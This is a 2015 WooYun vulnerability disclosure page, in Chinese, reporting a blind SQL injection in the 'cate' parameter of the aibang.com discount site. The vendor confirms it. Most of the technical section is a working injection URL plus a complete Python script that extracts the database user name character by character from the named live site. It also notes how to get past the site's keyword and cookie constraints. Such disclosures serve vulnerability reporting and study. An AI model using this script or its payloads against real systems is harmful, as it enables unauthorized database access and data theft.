当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0112759

漏洞标题：爱帮网一处BOOL型SQL注入漏洞附脚本(通过种种限制）

相关厂商：爱帮网

漏洞作者： netwind

提交时间：2015-05-08 10:15

修复时间：2015-06-22 10:38

公开时间：2015-06-22 10:38

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-08： 细节已通知厂商并且等待厂商处理中
2015-05-08： 厂商已经确认，细节仅向厂商公开
2015-05-18： 细节向核心白帽子及相关领域专家公开
2015-05-28： 细节向普通白帽子公开
2015-06-07： 细节向实习白帽子公开
2015-06-22： 细节向公众公开

简要描述：

爱帮网一处SQL注入漏洞附脚本(通过种种限制）

详细说明：

http://youhui.aibang.com/?area=discount&cate=医院%27%20and%20ascii%28mid%28user%28%29,8,1%29%29=49%20and%20%271%27=%271&city=chengdu
cate存在注入漏洞
这里参数里必须带有一个关键字 “医院” 是个汉字 然后查到医院相关的优惠券
条件假时 就返回找不到
另外一个比较有意思的事情是原本COOKIE里带有参数city 我浏览器提交的时候就没用带这个参数
手工的时候能注入，，但是放到脚本里却不能出数据
最后 找到了问题所在 要么带COOKIE city参数，要么GET 提交这个参数
关于汉字 在脚本代码里加了几句代码：

if sys.getdefaultencoding() != 'utf-8':
    reload(sys)
    sys.setdefaultencoding('utf-8')


然后参数里直接写汉字就好
最后最终脚本如下：

#coding=utf-8
import sys,urllib2
if sys.getdefaultencoding() != 'utf-8':
    reload(sys)
    sys.setdefaultencoding('utf-8')
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
result=''
def request(URL):
    #print URL
    user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) 
Version/5.1.3 Safari/534.53.10' }
    req = urllib2.Request(URL, None, user_agent)
        
    try:
        request = urllib2.urlopen(req)
        
    except HTTPError, e:
       
        if e.code == 500:
           
            return '500Runtime Error'
      
          
        if e.code == 404:
         
            return '404Runtime Error'
        
    except URLError, e:
        #print('[!] We failed to reach a server.')
        #print('[!] Reason: ' + str(e.reason))
        sys.exit(1)
        
    return request.read()
def binary_sqli(left, right, index):
   global result
   while 1:
        mid = (left + right)/2
        if mid == left:
            result += chr(mid+1)
            print 'db: ' ,result
            break
        payload = "area=discount&city=chengdu&cate=医院%%27%%20and%%20ascii(mid(user(),%s,1))>%s%%20and%%20%%271%%27=%%271" % 
(index, mid)
        #param = {'pid': payload}
        html = request('http://youhui.aibang.com/?'+payload) 
        print ('http://youhui.aibang.com/?'+payload) 
        #print html
        
        verify = '2013'
        if verify  in html:
             left = mid
            
        else:
            right = mid
            
      
                   
if __name__ == '__main__':
    for i in range(1,32):
        binary_sqli(32, 127, i)

漏洞证明：

猜解当前用户

3.png

修复方案：

参数过滤

版权声明：转载请注明来源 netwind@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-05-08 10:36

厂商回复：

的确存在此注入漏洞。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-07-16 04:46 | ＆小小黑 ( 路人 | Rank:8 漏洞数:3 | 嘻嘻)

    你好你的脚本我用的怎么有问题呢